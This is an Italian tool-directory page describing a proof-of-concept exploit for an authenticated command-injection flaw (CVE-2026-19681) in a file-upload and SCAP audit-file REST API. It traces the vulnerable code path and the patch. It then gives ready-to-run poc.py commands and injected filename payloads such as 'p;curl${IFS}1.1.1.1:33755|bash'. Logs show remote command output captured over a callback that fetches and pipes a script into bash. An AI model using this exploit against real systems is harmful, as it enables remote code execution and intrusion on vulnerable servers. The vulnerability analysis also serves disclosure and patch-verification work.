Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/h00die/poc-cve-2026-19681
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlSviluppo Payload
GitHubh00die/poc-cve-2026-19681

POC-CVE-2026-19681

Exploit proof-of-concept per l'iniezione di comandi autenticata nell'elaborazione del caricamento dei file, che dimostra una catena in due fasi tramite API REST con esecuzione di comandi basata su timing cieco e callback.

Vedi Repository
1 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Immagine CVE

CVE-2026-19681 — iniezione di comandi nell'elaborazione del caricamento file (autenticato)

Stato: CONFERMATO su un lab 6.7.2-14.el9 (2026-08-20). Il nome file in staging p;sleep${IFS}20;-EvvfJk tramite POST /rest/file/upload (il prefisso context trasporta i metacaratteri), quindi POST /rest/auditFile (type=scapLinux, version=1.2) si è bloccato per esattamente 20.1s e ha restituito l'errore 106 ("Error adding Tailoring file to SCAP zip file") — il normale percorso di errore post-iniezione. L'esecuzione avviene all'interno del comando shell zip -9Tj come utente del servizio web. (Corretto in 6.9.0 secondo il diff RPM; la vulnerabilità è presente almeno in 6.7.2–6.8.x.)

Vulnerabilità

Catena in due passaggi, entrambi sotto il controllo dell'attaccante:

  1. Controllo del nome file — POST /rest/file salva i caricamenti tramite Filesystem::saveTmp() (FilesystemLib.php:587), che costruisce il nome su disco dal parametro context grezzo del client: tempnam($tmpDir, "$userID.$token." . $context . "-"). I context sconosciuti saltano ogni validazione del contenuto (la NOTICE in Files.php definisce questo comportamento "wide open since SC 4.x") ma vengono comunque salvati — quindi i metacaratteri di shell (;, $(), backtick) persistono nel nome del file in staging.

  2. Punto di iniezione — POST /rest/auditFile con type∈SCAP, version=1.2 entra nel ramo di tailoring (AuditFiles.php:163): $scapZipFile = $tmpDir . $params['filename'] (completamente controllato dal client) → AuditFileLib::addSCAPTailoringFile() riga 2304: $tmpZipFile = "{$tmpDir}/" . basename($scapZipFile) . ".zip" — basename() rimuove / ma non i metacaratteri di shell — quindi senza escaping in exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc").

Un secondo punto di iniezione della stessa classe: Files.php:360 exec("{$settings['CommandUNZIP']} -qq $filename -d $tmpDir/") in extractFile().

Patch (6.9.0)

escapeshellarg($tmpZipFile) in entrambi i comandi zip; Utility::execSafe() (proc_open in forma argv + separatore --) sostituisce la exec di unzip basata su stringa; aggiunta la validazione del nome file in AuditFiles::applySCAPTailoringFile() (questo è CVE-2026-19679).

PoC

root@kitploit:~
# blind timing check (sleep in the context prefix; no '/' needed)
./poc.py --target https://sc.lab --username analyst --password 'pass' --check

# run a command with output capture: the PoC serves the script over HTTP, injects a
# short curl|bash callback, and prints the POSTed-back output. Target must be able to
# reach this machine (same L2 in the lab).
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd whoami

# verbatim injection (no callback) — payload must fit ~47 chars
./poc.py --target https://sc.lab --username analyst --password 'pass' \
         --cmd 'touch${IFS}/tmp/pwned' --no-exfil

Note:

  • la risorsa di upload è /rest/file/upload (campo multipart Filedata, campo del form context) — individuata sul lab; altre build potrebbero differire, provati alcuni candidati.
  • budget di lunghezza: PHP tempnam() tronca il prefisso del nome in staging — solo ~50-55 caratteri di context sopravvivono (misurato sul lab; la variante hex-bootstrap è stata troncata a metà payload). Iniezioni corte come p;sleep${IFS}20; ci stanno; tutto ciò che è più lungo passa attraverso il server di callback.
  • il corpo di auditFile richiede type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName (secondo AuditFiles::validateAdd); PARAM_FILENAME rifiuta solo / e file inesistenti, quindi ;/${IFS} passano.
  • l'upload di tailoring (context=tailoringFile) deve contenere un datastream XML parsabile con almeno un Profilo — ne è incorporato uno minimale.

Elementi di verifica in laboratorio (segnalati nell'output dello script se falliscono):

  • Il tailoring XML minimale incorporato deve soddisfare SCAPTailoringFileParser (>=1 profilo); se viene rifiutato, sostituirlo con un datastream di tailoring SCAP reale.
  • La stringa type deve corrispondere a un membro di AuditFileLib::$validSCAPTypes (scap atteso).
  • Le chiavi esatte del corpo di auditFile derivano da AuditFiles::validateAdd(); adattarle se la POST restituisce un errore di parametro.

Vedi anche

  • ../cve-2026-19679/ — la metà di validazione dell'input della stessa catena (sanificazione del nome file), con un differenziale di rilevamento della versione.

Esempi di esecuzione

root@kitploit:~
$ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd whoami
[+] authenticated, token 20425636...
[*] callback server on 1.1.1.1:33755 — injecting 'curl${IFS}1.1.1.1:33755|bash' (target must reach this IP)
[+] staged audit zip as filename='p;curl${IFS}1.1.1.1:33755|bash;-g6LDro'
[*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
[+] staged tailoring file as filename='tailoringFile-15xUAv'
[*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
[*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236048}
[*] injection fired in 0.1s; waiting for callback output ...
[+] command output:
tns
root@kitploit:~
$ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd pwd
[+] authenticated, token 20958963...
[*] callback server on 1.1.1.1:36809 — injecting 'curl${IFS}1.1.1.1:36809|bash' (target must reach this IP)
[+] staged audit zip as filename='p;curl${IFS}1.1.1.1:36809|bash;-G7e1sg'
[*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
[+] staged tailoring file as filename='tailoringFile-DQzq4v'
[*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
[*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236116}
[*] injection fired in 0.1s; waiting for callback output ...
[+] command output:
/opt/sc/www
Scarica lo strumento